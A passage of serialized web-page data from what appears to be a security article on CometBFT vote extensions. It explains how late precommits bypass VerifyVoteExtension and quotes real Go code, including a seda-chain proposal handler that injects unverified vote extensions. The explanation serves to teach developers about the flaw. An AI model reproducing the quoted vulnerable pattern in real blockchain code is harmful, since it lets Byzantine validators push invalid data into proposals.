previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":25,"tag":115,"props":84369,"children":84371},{"className":84370},[],[84372],{"type":31,"value":84248},{"type":31,"value":84374}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":25,"tag":34,"props":84376,"children":84377},{},[84378,84380,84385,84387,84393],{"type":31,"value":84379},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":25,"tag":115,"props":84381,"children":84383},{"className":84382},[],[84384],{"type":31,"value":84248},{"type":31,"value":84386},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":25,"tag":115,"props":84388,"children":84390},{"className":84389},[],[84391],{"type":31,"value":84392},"Proposal",{"type":31,"value":80},{"type":25,"tag":191,"props":84395,"children":84397},{"code":84396,"language":77248,"meta":7,"className":77249,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[84398],{"type":25,"tag":115,"props":84399,"children":84400},{"__ignoreMap":7},[84401,84513,84520,84527,84535,84543,84627,84634,84642,84696,84703,84724,84731,84803,84819,84826,84900,84956,84963,85025,85032,85039,85058,85065,85072,85079],{"type":25,"tag":201,"props":84402,"children":84403},{"class":203,"line":204},[84404,84408,84412,84417,84421,84426,84430,84435,84439,84444,84448,84452,84456,84461,84465,84470,84475,84479,84484,84488,84493,84497,84501,84505,84509],{"type":25,"tag":201,"props":84405,"children":84406},{"style":208},[84407],{"type":31,"value":77384},{"type":25,"tag":201,"props":84409,"children":84410},{"style":220},[84411],{"type":31,"value":238},{"type":25,"tag":201,"props":84413,"children":84414},{"style":246},[84415],{"type":31,"value":84416},"cs ",{"type":25,"tag":201,"props":84418,"children":84419},{"style":261},[84420],{"type":31,"value":6077},{"type":25,"tag":201,"props":84422,"children":84423},{"style":4925},[84424],{"type":31,"value":84425},"State",{"type":25,"tag":201,"props":84427,"children":84428},{"style":220},[84429],{"type":31,"value":385},{"type":25,"tag":201,"props":84431,"children":84432},{"style":214},[84433],{"type":31,"value":84434},"addVote",{"type":25,"tag":201,"props":84436,"children":84437},{"style":220},[84438],{"type":31,"value":298},{"type":25,"tag":201,"props":84440,"children":84441},{"style":246},[84442],{"type":31,"value":84443},"vote",{"type":25,"tag":201,"props":84445,"children":84446},{"style":261},[84447],{"type":31,"value":11319},{"type":25,"tag":201,"props":84449,"children":84450},{"style":4925},[84451],{"type":31,"value":7268},{"type":25,"tag":201,"props":84453,"children":84454},{"style":220},[84455],{"type":31,"value":80},{"type":25,"tag":201,"props":84457,"children":84458},{"style":4925},[84459],{"type":31,"value":84460},"Vote",{"type":25,"tag":201,"props":84462,"children":84463},{"style":220},[84464],{"type":31,"value":919},{"type":25,"tag":201,"props":84466,"children":84467},{"style":246},[84468],{"type":31,"value":84469},"peerID",{"type":25,"tag":201,"props":84471,"children":84472},{"style":4925},[84473],{"type":31,"value":84474}," p2p",{"type":25,"tag":201,"props":84476,"children":84477},{"style":220},[84478],{"type":31,"value":80},{"type":25,"tag":201,"props":84480,"children":84481},{"style":4925},[84482],{"type":31,"value":84483},"ID",{"type":25,"tag":201,"props":84485,"children":84486},{"style":220},[84487],{"type":31,"value":77466},{"type":25,"tag":201,"props":84489,"children":84490},{"style":246},[84491],{"type":31,"value":84492},"added",{"type":25,"tag":201,"props":84494,"children":84495},{"style":4925},[84496],{"type":31,"value":13552},{"type":25,"tag":201,"props":84498,"children":84499},{"style":220},[84500],{"type":31,"value":919},{"type":25,"tag":201,"props":84502,"children":84503},{"style":246},[84504],{"type":31,"value":49497},{"type":25,"tag":201,"props":84506,"children":84507},{"style":4925},[84508],{"type":31,"value":16375},{"type":25,"tag":201,"props":84510,"children":84511},{"style":220},[84512],{"type":31,"value":275},{"type":25,"tag":201,"props":84514,"children":84515},{"class":203,"line":226},[84516],{"type":25,"tag":201,"props":84517,"children":84518},{"style":261},[84519],{"type":31,"value":21836},{"type":25,"tag":201,"props":84521,"children":84522},{"class":203,"line":278},[84523],{"type":25,"tag":201,"props":84524,"children":84525},{"emptyLinePlaceholder":17},[84526],{"type":31,"value":496},{"type":25,"tag":201,"props":84528,"children":84529},{"class":203,"line":311},[84530],{"type":25,"tag":201,"props":84531,"children":84532},{"style":4497},[84533],{"type":31,"value":84534},"    // A precommit for the previous height?\n",{"type":25,"tag":201,"props":84536,"children":84537},{"class":203,"line":330},[84538],{"type":25,"tag":201,"props":84539,"children":84540},{"style":4497},[84541],{"type":31,"value":84542},"    // These come in while we wait timeoutCommit\n",{"type":25,"tag":201,"props":84544,"children":84545},{"class":203,"line":397},[84546,84550,84555,84559,84564,84568,84572,84576,84581,84585,84589,84593,84597,84601,84606,84610,84614,84618,84623],{"type":25,"tag":201,"props":84547,"children":84548},{"style":230},[84549],{"type":31,"value":13781},{"type":25,"tag":201,"props":84551,"children":84552},{"style":246},[84553],{"type":31,"value":84554}," vote",{"type":25,"tag":201,"props":84556,"children":84557},{"style":220},[84558],{"type":31,"value":80},{"type":25,"tag":201,"props":84560,"children":84561},{"style":246},[84562],{"type":31,"value":84563},"Height",{"type":25,"tag":201,"props":84565,"children":84566},{"style":261},[84567],{"type":31,"value":5886},{"type":25,"tag":201,"props":84569,"children":84570},{"style":426},[84571],{"type":31,"value":5516},{"type":25,"tag":201,"props":84573,"children":84574},{"style":261},[84575],{"type":31,"value":4789},{"type":25,"tag":201,"props":84577,"children":84578},{"style":246},[84579],{"type":31,"value":84580}," cs",{"type":25,"tag":201,"props":84582,"children":84583},{"style":220},[84584],{"type":31,"value":80},{"type":25,"tag":201,"props":84586,"children":84587},{"style":246},[84588],{"type":31,"value":84563},{"type":25,"tag":201,"props":84590,"children":84591},{"style":261},[84592],{"type":31,"value":15687},{"type":25,"tag":201,"props":84594,"children":84595},{"style":246},[84596],{"type":31,"value":84554},{"type":25,"tag":201,"props":84598,"children":84599},{"style":220},[84600],{"type":31,"value":80},{"type":25,"tag":201,"props":84602,"children":84603},{"style":246},[84604],{"type":31,"value":84605},"Type",{"type":25,"tag":201,"props":84607,"children":84608},{"style":261},[84609],{"type":31,"value":4789},{"type":25,"tag":201,"props":84611,"children":84612},{"style":246},[84613],{"type":31,"value":79259},{"type":25,"tag":201,"props":84615,"children":84616},{"style":220},[84617],{"type":31,"value":80},{"type":25,"tag":201,"props":84619,"children":84620},{"style":246},[84621],{"type":31,"value":84622},"PrecommitType",{"type":25,"tag":201,"props":84624,"children":84625},{"style":220},[84626],{"type":31,"value":327},{"type":25,"tag":201,"props":84628,"children":84629},{"class":203,"line":437},[84630],{"type":25,"tag":201,"props":84631,"children":84632},{"style":261},[84633],{"type":31,"value":82926},{"type":25,"tag":201,"props":84635,"children":84636},{"class":203,"line":464},[84637],{"type":25,"tag":201,"props":84638,"children":84639},{"style":4497},[84640],{"type":31,"value":84641},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":25,"tag":201,"props":84643,"children":84644},{"class":203,"line":490},[84645,84650,84654,84658,84662,84666,84670,84675,84679,84684,84688,84692],{"type":25,"tag":201,"props":84646,"children":84647},{"style":246},[84648],{"type":31,"value":84649},"        added",{"type":25,"tag":201,"props":84651,"children":84652},{"style":220},[84653],{"type":31,"value":919},{"type":25,"tag":201,"props":84655,"children":84656},{"style":246},[84657],{"type":31,"value":49497},{"type":25,"tag":201,"props":84659,"children":84660},{"style":261},[84661],{"type":31,"value":413},{"type":25,"tag":201,"props":84663,"children":84664},{"style":246},[84665],{"type":31,"value":84580},{"type":25,"tag":201,"props":84667,"children":84668},{"style":220},[84669],{"type":31,"value":80},{"type":25,"tag":201,"props":84671,"children":84672},{"style":246},[84673],{"type":31,"value":84674},"LastCommit",{"type":25,"tag":201,"props":84676,"children":84677},{"style":220},[84678],{"type":31,"value":80},{"type":25,"tag":201,"props":84680,"children":84681},{"style":214},[84682],{"type":31,"value":84683},"AddVote",{"type":25,"tag":201,"props":84685,"children":84686},{"style":220},[84687],{"type":31,"value":298},{"type":25,"tag":201,"props":84689,"children":84690},{"style":246},[84691],{"type":31,"value":84443},{"type":25,"tag":201,"props":84693,"children":84694},{"style":220},[84695],{"type":31,"value":4666},{"type":25,"tag":201,"props":84697,"children":84698},{"class":203,"line":499},[84699],{"type":25,"tag":201,"props":84700,"children":84701},{"style":261},[84702],{"type":31,"value":82926},{"type":25,"tag":201,"props":84704,"children":84705},{"class":203,"line":522},[84706,84710,84715,84719],{"type":25,"tag":201,"props":84707,"children":84708},{"style":230},[84709],{"type":31,"value":17239},{"type":25,"tag":201,"props":84711,"children":84712},{"style":246},[84713],{"type":31,"value":84714}," added",{"type":25,"tag":201,"props":84716,"children":84717},{"style":220},[84718],{"type":31,"value":919},{"type":25,"tag":201,"props":84720,"children":84721},{"style":246},[84722],{"type":31,"value":84723},"err\n",{"type":25,"tag":201,"props":84725,"children":84726},{"class":203,"line":531},[84727],{"type":25,"tag":201,"props":84728,"children":84729},{"style":220},[84730],{"type":31,"value":4861},{"type":25,"tag":201,"props":84732,"children":84733},{"class":203,"line":550},[84734,84739,84743,84747,84751,84756,84760,84765,84769,84774,84778,84783,84787,84791,84795,84799],{"type":25,"tag":201,"props":84735,"children":84736},{"style":246},[84737],{"type":31,"value":84738},"    extEnabled",{"type":25,"tag":201,"props":84740,"children":84741},{"style":261},[84742],{"type":31,"value":77500},{"type":25,"tag":201,"props":84744,"children":84745},{"style":246},[84746],{"type":31,"value":84580},{"type":25,"tag":201,"props":84748,"children":84749},{"style":220},[84750],{"type":31,"value":80},{"type":25,"tag":201,"props":84752,"children":84753},{"style":246},[84754],{"type":31,"value":84755},"state",{"type":25,"tag":201,"props":84757,"children":84758},{"style":220},[84759],{"type":31,"value":80},{"type":25,"tag":201,"props":84761,"children":84762},{"style":246},[84763],{"type":31,"value":84764},"ConsensusParams",{"type":25,"tag":201,"props":84766,"children":84767},{"style":220},[84768],{"type":31,"value":80},{"type":25,"tag":201,"props":84770,"children":84771},{"style":246},[84772],{"type":31,"value":84773},"Feature",{"type":25,"tag":201,"props":84775,"children":84776},{"style":220},[84777],{"type":31,"value":80},{"type":25,"tag":201,"props":84779,"children":84780},{"style":214},[84781],{"type":31,"value":84782},"VoteExtensionsEnabled",{"type":25,"tag":201,"props":84784,"children":84785},{"style":220},[84786],{"type":31,"value":298},{"type":25,"tag":201,"props":84788,"children":84789},{"style":246},[84790],{"type":31,"value":84443},{"type":25,"tag":201,"props":84792,"children":84793},{"style":220},[84794],{"type":31,"value":80},{"type":25,"tag":201,"props":84796,"children":84797},{"style":246},[84798],{"type":31,"value":84563},{"type":25,"tag":201,"props":84800,"children":84801},{"style":220},[84802],{"type":31,"value":4666},{"type":25,"tag":201,"props":84804,"children":84805},{"class":203,"line":563},[84806,84810,84815],{"type":25,"tag":201,"props":84807,"children":84808},{"style":230},[84809],{"type":31,"value":13781},{"type":25,"tag":201,"props":84811,"children":84812},{"style":246},[84813],{"type":31,"value":84814}," extEnabled",{"type":25,"tag":201,"props":84816,"children":84817},{"style":220},[84818],{"type":31,"value":327},{"type":25,"tag":201,"props":84820,"children":84821},{"class":203,"line":572},[84822],{"type":25,"tag":201,"props":84823,"children":84824},{"style":261},[84825],{"type":31,"value":82926},{"type":25,"tag":201,"props":84827,"children":84828},{"class":203,"line":590},[84829,84833,84837,84841,84845,84849,84853,84857,84861,84865,84869,84873,84877,84882,84886,84891,84895],{"type":25,"tag":201,"props":84830,"children":84831},{"style":230},[84832],{"type":31,"value":4779},{"type":25,"tag":201,"props":84834,"children":84835},{"style":246},[84836],{"type":31,"value":84554},{"type":25,"tag":201,"props":84838,"children":84839},{"style":220},[84840],{"type":31,"value":80},{"type":25,"tag":201,"props":84842,"children":84843},{"style":246},[84844],{"type":31,"value":84605},{"type":25,"tag":201,"props":84846,"children":84847},{"style":261},[84848],{"type":31,"value":4789},{"type":25,"tag":201,"props":84850,"children":84851},{"style":246},[84852],{"type":31,"value":79259},{"type":25,"tag":201,"props":84854,"children":84855},{"style":220},[84856],{"type":31,"value":80},{"type":25,"tag":201,"props":84858,"children":84859},{"style":246},[84860],{"type":31,"value":84622},{"type":25,"tag":201,"props":84862,"children":84863},{"style":261},[84864],{"type":31,"value":15687},{"type":25,"tag":201,"props":84866,"children":84867},{"style":261},[84868],{"type":31,"value":14366},{"type":25,"tag":201,"props":84870,"children":84871},{"style":246},[84872],{"type":31,"value":84443},{"type":25,"tag":201,"props":84874,"children":84875},{"style":220},[84876],{"type":31,"value":80},{"type":25,"tag":201,"props":84878,"children":84879},{"style":246},[84880],{"type":31,"value":84881},"BlockID",{"type":25,"tag":201,"props":84883,"children":84884},{"style":220},[84885],{"type":31,"value":80},{"type":25,"tag":201,"props":84887,"children":84888},{"style":214},[84889],{"type":31,"value":84890},"IsNil",{"type":25,"tag":201,"props":84892,"children":84893},{"style":220},[84894],{"type":31,"value":15545},{"type":25,"tag":201,"props":84896,"children":84897},{"style":261},[84898],{"type":31,"value":84899},"&&\n",{"type":25,"tag":201,"props":84901,"children":84902},{"class":203,"line":608},[84903,84908,84913,84917,84921,84925,84929,84933,84938,84942,84947,84951],{"type":25,"tag":201,"props":84904,"children":84905},{"style":261},[84906],{"type":31,"value":84907},"            !",{"type":25,"tag":201,"props":84909,"children":84910},{"style":246},[84911],{"type":31,"value":84912},"bytes",{"type":25,"tag":201,"props":84914,"children":84915},{"style":220},[84916],{"type":31,"value":80},{"type":25,"tag":201,"props":84918,"children":84919},{"style":214},[84920],{"type":31,"value":83382},{"type":25,"tag":201,"props":84922,"children":84923},{"style":220},[84924],{"type":31,"value":298},{"type":25,"tag":201,"props":84926,"children":84927},{"style":246},[84928],{"type":31,"value":84443},{"type":25,"tag":201,"props":84930,"children":84931},{"style":220},[84932],{"type":31,"value":80},{"type":25,"tag":201,"props":84934,"children":84935},{"style":246},[84936],{"type":31,"value":84937},"ValidatorAddress",{"type":25,"tag":201,"props":84939,"children":84940},{"style":220},[84941],{"type":31,"value":919},{"type":25,"tag":201,"props":84943,"children":84944},{"style":246},[84945],{"type":31,"value":84946},"myAddr",{"type":25,"tag":201,"props":84948,"children":84949},{"style":220},[84950],{"type":31,"value":25474},{"type":25,"tag":201,"props":84952,"children":84953},{"style":4497},[84954],{"type":31,"value":84955},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":25,"tag":201,"props":84957,"children":84958},{"class":203,"line":617},[84959],{"type":25,"tag":201,"props":84960,"children":84961},{"style":261},[84962],{"type":31,"value":83602},{"type":25,"tag":201,"props":84964,"children":84965},{"class":203,"line":625},[84966,84970,84974,84978,84982,84987,84991,84995,84999,85004,85008,85013,85017,85021],{"type":25,"tag":201,"props":84967,"children":84968},{"style":246},[84969],{"type":31,"value":83420},{"type":25,"tag":201,"props":84971,"children":84972},{"style":261},[84973],{"type":31,"value":77500},{"type":25,"tag":201,"props":84975,"children":84976},{"style":246},[84977],{"type":31,"value":84580},{"type":25,"tag":201,"props":84979,"children":84980},{"style":220},[84981],{"type":31,"value":80},{"type":25,"tag":201,"props":84983,"children":84984},{"style":246},[84985],{"type":31,"value":84986},"blockExec",{"type":25,"tag":201,"props":84988,"children":84989},{"style":220},[84990],{"type":31,"value":80},{"type":25,"tag":201,"props":84992,"children":84993},{"style":214},[84994],{"type":31,"value":84248},{"type":25,"tag":201,"props":84996,"children":84997},{"style":220},[84998],{"type":31,"value":298},{"type":25,"tag":201,"props":85000,"children":85001},{"style":246},[85002],{"type":31,"value":85003},"context",{"type":25,"tag":201,"props":85005,"children":85006},{"style":220},[85007],{"type":31,"value":80},{"type":25,"tag":201,"props":85009,"children":85010},{"style":214},[85011],{"type":31,"value":85012},"TODO",{"type":25,"tag":201,"props":85014,"children":85015},{"style":220},[85016],{"type":31,"value":19873},{"type":25,"tag":201,"props":85018,"children":85019},{"style":246},[85020],{"type":31,"value":84443},{"type":25,"tag":201,"props":85022,"children":85023},{"style":220},[85024],{"type":31,"value":4666},{"type":25,"tag":201,"props":85026,"children":85027},{"class":203,"line":642},[85028],{"type":25,"tag":201,"props":85029,"children":85030},{"style":261},[85031],{"type":31,"value":83602},{"type":25,"tag":201,"props":85033,"children":85034},{"class":203,"line":659},[85035],{"type":25,"tag":201,"props":85036,"children":85037},{"style":220},[85038],{"type":31,"value":4853},{"type":25,"tag":201,"props":85040,"children":85041},{"class":203,"line":667},[85042,85046,85050,85054],{"type":25,"tag":201,"props":85043,"children":85044},{"style":220},[85045],{"type":31,"value":17274},{"type":25,"tag":201,"props":85047,"children":85048},{"style":230},[85049],{"type":31,"value":322},{"type":25,"tag":201,"props":85051,"children":85052},{"style":230},[85053],{"type":31,"value":17283},{"type":25,"tag":201,"props":85055,"children":85056},{"style":220},[85057],{"type":31,"value":327},{"type":25,"tag":201,"props":85059,"children":85060},{"class":203,"line":676},[85061],{"type":25,"tag":201,"props":85062,"children":85063},{"style":261},[85064],{"type":31,"value":82926},{"type":25,"tag":201,"props":85066,"children":85067},{"class":203,"line":694},[85068],{"type":25,"tag":201,"props":85069,"children":85070},{"style":220},[85071],{"type":31,"value":4861},{"type":25,"tag":201,"props":85073,"children":85074},{"class":203,"line":707},[85075],{"type":25,"tag":201,"props":85076,"children":85077},{"style":261},[85078],{"type":31,"value":21836},{"type":25,"tag":201,"props":85080,"children":85081},{"class":203,"line":715},[85082],{"type":25,"tag":201,"props":85083,"children":85084},{"style":220},[85085],{"type":31,"value":1187},{"type":25,"tag":34,"props":85087,"children":85088},{},[85089],{"type":31,"value":85090},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":25,"tag":40,"props":85092,"children":85094},{"id":85093},"real-world-examples-4",[85095],{"type":31,"value":77773},{"type":25,"tag":34,"props":85097,"children":85098},{},[85099,85101,85106,85108,85114,85116,85122],{"type":31,"value":85100},"An example of the bug we just described is shown here. ",{"type":25,"tag":115,"props":85102,"children":85104},{"className":85103},[],[85105],{"type":31,"value":84227},{"type":31,"value":85107}," only checks that each vote is properly signed by a validator in ",{"type":25,"tag":115,"props":85109,"children":85111},{"className":85110},[],[85112],{"type":31,"value":85113},"ValidateVoteExtension",{"type":31,"value":85115}," but does not verify it against the rules in ",{"type":25,"tag":115,"props":85117,"children":85119},{"className":85118},[],[85120],{"type":31,"value":85121},"VerifyVoteExtention.",{"type":31,"value":85123}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":25,"tag":34,"props":85125,"children":85126},{},[85127],{"type":25,"tag":71,"props":85128,"children":85131},{"href":85129,"rel":85130},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[75],[85132],{"type":31,"value":77823},{"type":25,"tag":191,"props":85134,"children":85136},{"code":85135,"language":77248,"meta":7,"className":77249,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[85137],{"type":25,"tag":115,"props":85138,"children":85139},{"__ignoreMap":7},[85140,85194,85285,85292,85313,85380,85388,85493,85516,85535,85542,85596,85619,85674,85693,85700,85707,85714,85768,85775,85801,85824,85876,85938,85945,85972,85992,86004,86011],{"type":25,"tag":201,"props":85141,"children":85142},{"class":203,"line":204},[85143,85147,85151,85156,85160,85165,85169,85174,85178,85182,85186,85190],{"type":25,"tag":201,"props":85144,"children":85145},{"style":208},[85146],{"type":31,"value":77384},{"type":25,"tag":201,"props":85148,"children":85149},{"style":220},[85150],{"type":31,"value":238},{"type":25,"tag":201,"props":85152,"children":85153},{"style":246},[85154],{"type":31,"value":85155},"h ",{"type":25,"tag":201,"props":85157,"children":85158},{"style":261},[85159],{"type":31,"value":6077},{"type":25,"tag":201,"props":85161,"children":85162},{"style":4925},[85163],{"type":31,"value":85164},"Handlers",{"type":25,"tag":201,"props":85166,"children":85167},{"style":220},[85168],{"type":31,"value":385},{"type":25,"tag":201,"props":85170,"children":85171},{"style":214},[85172],{"type":31,"value":85173},"PrepareProposalHandler",{"type":25,"tag":201,"props":85175,"children":85176},{"style":220},[85177],{"type":31,"value":15545},{"type":25,"tag":201,"props":85179,"children":85180},{"style":4925},[85181],{"type":31,"value":79814},{"type":25,"tag":201,"props":85183,"children":85184},{"style":220},[85185],{"type":31,"value":80},{"type":25,"tag":201,"props":85187,"children":85188},{"style":4925},[85189],{"type":31,"value":85173},{"type":25,"tag":201,"props":85191,"children":85192},{"style":220},[85193],{"type":31,"value":327},{"type":25,"tag":201,"props":85195,"children":85196},{"class":203,"line":226},[85197,85201,85205,85209,85213,85217,85221,85225,85229,85234,85238,85243,85247,85252,85256,85260,85264,85268,85273,85277,85281],{"type":25,"tag":201,"props":85198,"children":85199},{"style":230},[85200],{"type":31,"value":18486},{"type":25,"tag":201,"props":85202,"children":85203},{"style":208},[85204],{"type":31,"value":81093},{"type":25,"tag":201,"props":85206,"children":85207},{"style":220},[85208],{"type":31,"value":298},{"type":25,"tag":201,"props":85210,"children":85211},{"style":246},[85212],{"type":31,"value":21777},{"type":25,"tag":201,"props":85214,"children":85215},{"style":4925},[85216],{"type":31,"value":79725},{"type":25,"tag":201,"props":85218,"children":85219},{"style":220},[85220],{"type":31,"value":80},{"type":25,"tag":201,"props":85222,"children":85223},{"style":4925},[85224],{"type":31,"value":77433},{"type":25,"tag":201,"props":85226,"children":85227},{"style":220},[85228],{"type":31,"value":919},{"type":25,"tag":201,"props":85230,"children":85231},{"style":246},[85232],{"type":31,"value":85233},"req",{"type":25,"tag":201,"props":85235,"children":85236},{"style":261},[85237],{"type":31,"value":11319},{"type":25,"tag":201,"props":85239,"children":85240},{"style":4925},[85241],{"type":31,"value":85242},"abcitypes",{"type":25,"tag":201,"props":85244,"children":85245},{"style":220},[85246],{"type":31,"value":80},{"type":25,"tag":201,"props":85248,"children":85249},{"style":4925},[85250],{"type":31,"value":85251},"RequestPrepareProposal",{"type":25,"tag":201,"props":85253,"children":85254},{"style":220},[85255],{"type":31,"value":77466},{"type":25,"tag":201,"props":85257,"children":85258},{"style":261},[85259],{"type":31,"value":6077},{"type":25,"tag":201,"props":85261,"children":85262},{"style":4925},[85263],{"type":31,"value":85242},{"type":25,"tag":201,"props":85265,"children":85266},{"style":220},[85267],{"type":31,"value":80},{"type":25,"tag":201,"props":85269,"children":85270},{"style":4925},[85271],{"type":31,"value":85272},"ResponsePrepareProposal",{"type":25,"tag":201,"props":85274,"children":85275},{"style":220},[85276],{"type":31,"value":919},{"type":25,"tag":201,"props":85278,"children":85279},{"style":4925},[85280],{"type":31,"value":293},{"type":25,"tag":201,"props":85282,"children":85283},{"style":220},[85284],{"type":31,"value":275},{"type":25,"tag":201,"props":85286,"children":85287},{"class":203,"line":278},[85288],{"type":25,"tag":201,"props":85289,"children":85290},{"style":261},[85291],{"type":31,"value":82926},{"type":25,"tag":201,"props":85293,"children":85294},{"class":203,"line":311},[85295,85299,85304,85308],{"type":25,"tag":201,"props":85296,"children":85297},{"style":208},[85298],{"type":31,"value":81202},{"type":25,"tag":201,"props":85300,"children":85301},{"style":246},[85302],{"type":31,"value":85303}," injection",{"type":25,"tag":201,"props":85305,"children":85306},{"style":220},[85307],{"type":31,"value":77311},{"type":25,"tag":201,"props":85309,"children":85310},{"style":4925},[85311],{"type":31,"value":85312},"byte\n",{"type":25,"tag":201,"props":85314,"children":85315},{"class":203,"line":330},[85316,85320,85325,85329,85333,85337,85341,85345,85349,85353,85358,85362,85367,85371,85376],{"type":25,"tag":201,"props":85317,"children":85318},{"style":230},[85319],{"type":31,"value":4779},{"type":25,"tag":201,"props":85321,"children":85322},{"style":246},[85323],{"type":31,"value":85324}," req",{"type":25,"tag":201,"props":85326,"children":85327},{"style":220},[85328],{"type":31,"value":80},{"type":25,"tag":201,"props":85330,"children":85331},{"style":246},[85332],{"type":31,"value":84563},{"type":25,"tag":201,"props":85334,"children":85335},{"style":261},[85336],{"type":31,"value":15696},{"type":25,"tag":201,"props":85338,"children":85339},{"style":246},[85340],{"type":31,"value":27327},{"type":25,"tag":201,"props":85342,"children":85343},{"style":220},[85344],{"type":31,"value":80},{"type":25,"tag":201,"props":85346,"children":85347},{"style":214},[85348],{"type":31,"value":84764},{"type":25,"tag":201,"props":85350,"children":85351},{"style":220},[85352],{"type":31,"value":31652},{"type":25,"tag":201,"props":85354,"children":85355},{"style":246},[85356],{"type":31,"value":85357},"Abci",{"type":25,"tag":201,"props":85359,"children":85360},{"style":220},[85361],{"type":31,"value":80},{"type":25,"tag":201,"props":85363,"children":85364},{"style":246},[85365],{"type":31,"value":85366},"VoteExtensionsEnableHeight",{"type":25,"tag":201,"props":85368,"children":85369},{"style":261},[85370],{"type":31,"value":15687},{"type":25,"tag":201,"props":85372,"children":85373},{"style":246},[85374],{"type":31,"value":85375}," collectSigs",{"type":25,"tag":201,"props":85377,"children":85378},{"style":220},[85379],{"type":31,"value":327},{"type":25,"tag":201,"props":85381,"children":85382},{"class":203,"line":397},[85383],{"type":25,"tag":201,"props":85384,"children":85385},{"style":4497},[85386],{"type":31,"value":85387},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":25,"tag":201,"props":85389,"children":85390},{"class":203,"line":437},[85391,85395,85399,85404,85408,85413,85417,85421,85425,85430,85434,85439,85443,85447,85451,85455,85459,85463,85467,85472,85476,85480,85484,85489],{"type":25,"tag":201,"props":85392,"children":85393},{"style":246},[85394],{"type":31,"value":83420},{"type":25,"tag":201,"props":85396,"children":85397},{"style":261},[85398],{"type":31,"value":77500},{"type":25,"tag":201,"props":85400,"children":85401},{"style":246},[85402],{"type":31,"value":85403}," baseapp",{"type":25,"tag":201,"props":85405,"children":85406},{"style":220},[85407],{"type":31,"value":80},{"type":25,"tag":201,"props":85409,"children":85410},{"style":214},[85411],{"type":31,"value":85412},"ValidateVoteExtensions",{"type":25,"tag":201,"props":85414,"children":85415},{"style":220},[85416],{"type":31,"value":298},{"type":25,"tag":201,"props":85418,"children":85419},{"style":246},[85420],{"type":31,"value":21777},{"type":25,"tag":201,"props":85422,"children":85423},{"style":220},[85424],{"type":31,"value":919},{"type":25,"tag":201,"props":85426,"children":85427},{"style":246},[85428],{"type":31,"value":85429},"h",{"type":25,"tag":201,"props":85431,"children":85432},{"style":220},[85433],{"type":31,"value":80},{"type":25,"tag":201,"props":85435,"children":85436},{"style":246},[85437],{"type":31,"value":85438},"stakingKeeper",{"type":25,"tag":201,"props":85440,"children":85441},{"style":220},[85442],{"type":31,"value":919},{"type":25,"tag":201,"props":85444,"children":85445},{"style":246},[85446],{"type":31,"value":85233},{"type":25,"tag":201,"props":85448,"children":85449},{"style":220},[85450],{"type":31,"value":80},{"type":25,"tag":201,"props":85452,"children":85453},{"style":246},[85454],{"type":31,"value":84563},{"type":25,"tag":201,"props":85456,"children":85457},{"style":220},[85458],{"type":31,"value":919},{"type":25,"tag":201,"props":85460,"children":85461},{"style":246},[85462],{"type":31,"value":21777},{"type":25,"tag":201,"props":85464,"children":85465},{"style":220},[85466],{"type":31,"value":80},{"type":25,"tag":201,"props":85468,"children":85469},{"style":214},[85470],{"type":31,"value":85471},"ChainID",{"type":25,"tag":201,"props":85473,"children":85474},{"style":220},[85475],{"type":31,"value":19873},{"type":25,"tag":201,"props":85477,"children":85478},{"style":246},[85479],{"type":31,"value":85233},{"type":25,"tag":201,"props":85481,"children":85482},{"style":220},[85483],{"type":31,"value":80},{"type":25,"tag":201,"props":85485,"children":85486},{"style":246},[85487],{"type":31,"value":85488},"LocalLastCommit",{"type":25,"tag":201,"props":85490,"children":85491},{"style":220},[85492],{"type":31,"value":4666},{"type":25,"tag":201,"props":85494,"children":85495},{"class":203,"line":464},[85496,85500,85504,85508,85512],{"type":25,"tag":201,"props":85497,"children":85498},{"style":230},[85499],{"type":31,"value":59880},{"type":25,"tag":201,"props":85501,"children":85502},{"style":246},[85503],{"type":31,"value":49598},{"type":25,"tag":201,"props":85505,"children":85506},{"style":261},[85507],{"type":31,"value":65467},{"type":25,"tag":201,"props":85509,"children":85510},{"style":208},[85511],{"type":31,"value":83002},{"type":25,"tag":201